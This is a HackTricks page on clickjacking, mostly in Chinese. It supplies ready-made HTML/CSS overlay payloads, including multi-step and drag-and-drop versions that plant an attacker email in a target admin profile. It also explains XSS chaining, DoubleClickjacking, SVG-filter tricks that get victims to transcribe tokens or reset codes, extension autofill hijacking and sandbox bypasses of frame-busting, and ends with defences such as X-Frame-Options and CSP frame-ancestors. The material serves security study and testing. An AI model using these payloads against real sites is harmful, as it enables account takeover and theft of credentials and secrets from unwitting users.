Clickjacking

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 Clickjacking

在一次 clickjacking 攻击中,user 会被诱导点击网页上一个元素,该元素要么不可见,要么伪装成另一个元素。此类操作可能导致 user 遭受意外后果,例如下载 malware、重定向到恶意网页、提供 credentials 或敏感信息、资金转账,或在线购买产品。

预先填充表单技巧

有时可以通过 在加载页面时使用 GET 参数填充表单字段的值。攻击者可能滥用这种行为,用任意数据填充表单并发送 clickjacking payload,使 user 按下 Submit 按钮。

使用 Drag&Drop 填充表单

如果你需要 user 填写表单,但又不想直接要求他输入某些特定信息(例如你已知的 email 或特定 password),你可以让他 Drag&Drop 一些会写入你可控数据的东西,像 this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

多步骤 Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

如果你已经识别到一个 XSS attack that requires a user to click 的情形(需要用户点击某个元素才能 trigger XSS),并且该页面对 vulnerable to clickjacking,你可以滥用它来诱骗用户点击按钮/链接。
Example:
你在某个账号的私人详情中发现了 self XSS(这些详情 only you can set and read)。用于设置这些详情的 form 页面对 Clickjackingvulnerable 的,并且你可以通过 GET parameters 来 prepopulateform
攻击者可以针对该页面准备一个 Clickjacking 攻击,把 form prepopulating 为包含 XSS payload 的值,并诱骗 user 点击 Submit 表单。因此,当表单提交且值被修改后,user will execute the XSS

DoubleClickjacking

Firstly explained in this post,该技术会要求受害者在一个自定义页面的特定位置双击一个按钮,并利用 mousedown 和 onclick 事件之间的时间差在双击期间加载受害者页面,从而使 victim actually clicks a legit button in the victim page

一个示例可以在这个视频中看到: https://www.youtube.com/watch?v=4rGvRRMrD18

代码示例见 this page

Warning

该技术可以让攻击者通过在受害者页面的同一位置诱导一次点击来绕过所有针对 clickjacking 的保护。因此攻击者需要寻找那些只需一次点击即可完成的 sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko builds 允许在跨域 iframes 上应用 CSS filter:url(#id)。iframe 的光栅化像素会作为 SourceGraphic 暴露给 SVG filter graph,因此像 feDisplacementMapfeBlendfeCompositefeColorMatrixfeTilefeMorphology 等原语可以在用户看到之前任意扭曲受害者的 UI,即便攻击者从未接触过 DOM。一个简单的 Liquid-Glass 风格 filter 如下所示:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • 有用的原语:feImage 加载攻击者位图(例如,overlays、displacement maps);feFlood 构建恒定颜色的遮罩;feOffset/feGaussianBlur 细化高光;feDisplacementMap 折射/扭曲文本;feComposite operator="arithmetic" 实现任意每通道数学运算(r = k1*i1*i2 + k2*i1 + k3*i2 + k4),足以用于增强对比度、掩蔽以及 AND/OR 操作;feTile 裁切并复制像素探针;feMorphology 扩展/收缩笔画;feColorMatrix 将亮度移入 alpha 以构建精确掩码。

将敏感信息扭曲成 CAPTCHA 风格的提示

如果一个可被嵌入框架的 endpoint 渲染敏感信息(tokens, reset codes, API keys),攻击者可以将它们扭曲得像 CAPTCHA,从而强迫人工转录:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

这些扭曲的像素诱导用户去“解答”攻击者控制的 <input> 中的 captcha,而该 <input>pattern 强制执行真实受害者的秘密。

将受害者输入重新置于新语境

滤镜可以外科般地删除 placeholder/validation 文本,同时保留用户的按键输入。一个工作流程:

  1. feComposite operator="arithmetic" k2≈4 放大亮度,使灰色辅助文本饱和为白色。
  2. feTile 将工作区域限制到输入框矩形。
  3. feMorphology operator="erode" 加粗受害者输入的深色字形,并通过 result="thick" 存储它们。
  4. feFlood 创建一个白色底板,feBlend mode="difference"thick 混合,第二次 feComposite k2≈100 将其变为明显的亮度遮罩。
  5. feColorMatrix 将该亮度移动到 alpha 通道,feComposite in="SourceGraphic" operator="in" 仅保留用户输入的字形。
  6. 另一个 feBlend in2="white" 加上薄幅裁剪会得到一个干净的文本框,随后攻击者覆盖自己的 HTML 标签(例如,“输入你的邮箱”),而隐藏的 iframe 仍然强制执行受害者源的密码策略。

Safari 在处理 feTile 时表现不佳;相同效果可以通过由 feFlood + feColorMatrix + feComposite 构建的空间遮罩来复现,适用于仅 WebKit 的 payloads。

像素探测、逻辑与状态机

通过用 feTile 裁剪一个 2–4 px 的区域并将其平铺到视口的 100%,攻击者将采样颜色转化为全帧纹理,然后可以对其进行阈值处理以生成布尔掩码:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.

因此,攻击者可以在不使用 JavaScript 的情况下读取 UI 状态。来自模态工作流程的示例布尔值:

  • D (dialog visible):探测一个变暗的角落并与白色比较。
  • L (dialog loaded):探测按钮准备就绪后出现的坐标。
  • C (checkbox checked):将复选框像素与激活蓝色 #0B57D0 比较。
  • R (red success/failure banner):在横幅矩形内使用 feMorphology 和红色阈值。

每个检测到的状态都会门控一个通过 feImage xlink:href="data:..." 嵌入的不同覆盖位图。用 DLCR 掩码这些位图可以使覆盖层与真实对话框保持同步,并在始终不暴露 DOM 的情况下引导受害者完成多步工作流(密码重置、审批、破坏性确认)。

Browser extensions: DOM-based autofill clickjacking

除了将受害者页面放入 iframe 外,攻击者还可以针对注入页面的 browser extension UI 元素。Password managers 会在聚焦的输入附近渲染 autofill 下拉菜单;通过聚焦攻击者控制的字段并隐藏/遮挡扩展的下拉(opacity/overlay/top-layer 技巧),被迫的用户点击可以选择存储项并将敏感数据填入攻击者控制的输入框。此变体不需要 iframe 暴露,完全通过 DOM/CSS 操作实现。

Strategies to Mitigate Clickjacking

Client-Side Defenses

在客户端执行的脚本可以采取一些措施来防止 Clickjacking:

  • 确保应用窗口是主窗口或顶层窗口。
  • 使所有 frames 可见。
  • 防止对不可见 frames 的点击。
  • 检测并提醒用户潜在的 Clickjacking 企图。

但是,这些 frame-busting 脚本可能被规避:

  • Browsers’ Security Settings: 某些浏览器可能根据其安全设置或缺少 JavaScript 支持而阻止这些脚本。
  • HTML5 iframe sandbox Attribute: 攻击者可以通过为 iframe 设置 sandbox 属性并使用 allow-formsallow-scripts(但不包含 allow-top-navigation)来中和 frame buster 脚本。这会阻止 iframe 验证它是否为顶层窗口,例如
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-formsallow-scripts 值允许在 iframe 内执行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要根据攻击类型额外的权限,比如 allow-same-originallow-modals。浏览器控制台的消息可以指导应允许哪些权限。

服务器端防御

X-Frame-Options

X-Frame-Options HTTP 响应头 用于告知浏览器在 <frame><iframe> 中渲染页面是否合法,从而帮助防止 Clickjacking:

  • X-Frame-Options: deny - 任何域都不能对该内容进行框架嵌入。
  • X-Frame-Options: sameorigin - 只有当前站点可以嵌入该内容。
  • X-Frame-Options: allow-from https://trusted.com - 只有指定的 ‘uri’ 可以嵌入该页面。
  • 注意其局限性:如果浏览器不支持该指令,它可能无效。某些浏览器更倾向于使用 CSP 的 frame-ancestors 指令。

Content Security Policy (CSP) 的 frame-ancestors 指令

frame-ancestors 指令 (CSP) 是防止 Clickjacking 的推荐方法:

  • frame-ancestors 'none' - 类似于 X-Frame-Options: deny
  • frame-ancestors 'self' - 类似于 X-Frame-Options: sameorigin
  • frame-ancestors trusted.com - 类似于 X-Frame-Options: allow-from

例如,下面的 CSP 仅允许来自同一域的嵌入:

Content-Security-Policy: frame-ancestors 'self';

更多细节和复杂示例请参见 frame-ancestors CSP documentationMozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) 与 child-srcframe-src

Content Security Policy (CSP) 是一种安全措施,通过指定浏览器应该允许从哪些来源加载内容,来帮助防止 Clickjacking 和其他代码注入攻击。

frame-src 指令

  • 定义 frames 的有效来源。
  • default-src 指令更具体。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

该策略允许来自相同来源(self)和 https://trusted-website.com 的 frames。

child-src 指令

  • 在 CSP level 2 中引入,用于为 web workers 和 frames 设置有效的来源。
  • 作为 frame-src 和 worker-src 的回退。
Content-Security-Policy: child-src 'self' https://trusted-website.com;

此策略允许来自同源 (self) 和 https://trusted-website.com 的 frames 和 workers。

使用说明:

  • 弃用:child-src 正在被逐步淘汰,取而代之的是 frame-src 和 worker-src。
  • 回退行为:如果 frame-src 缺失,则使用 child-src 作为 frames 的回退。如果两者都缺失,则使用 default-src。
  • 严格的来源定义:在指令中仅包含受信任的来源以防止被利用。

JavaScript 防框架脚本

尽管不能完全万无一失,基于 JavaScript 的 frame-busting 脚本可以用来防止网页被嵌入框架。示例:

if (top !== self) {
top.location = self.location
}

使用 Anti-CSRF Tokens

  • 令牌验证: 在 web 应用程序中使用 anti-CSRF tokens,以确保会改变状态的请求是由用户有意发起的,而不是通过被 Clickjacked 的页面发起。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks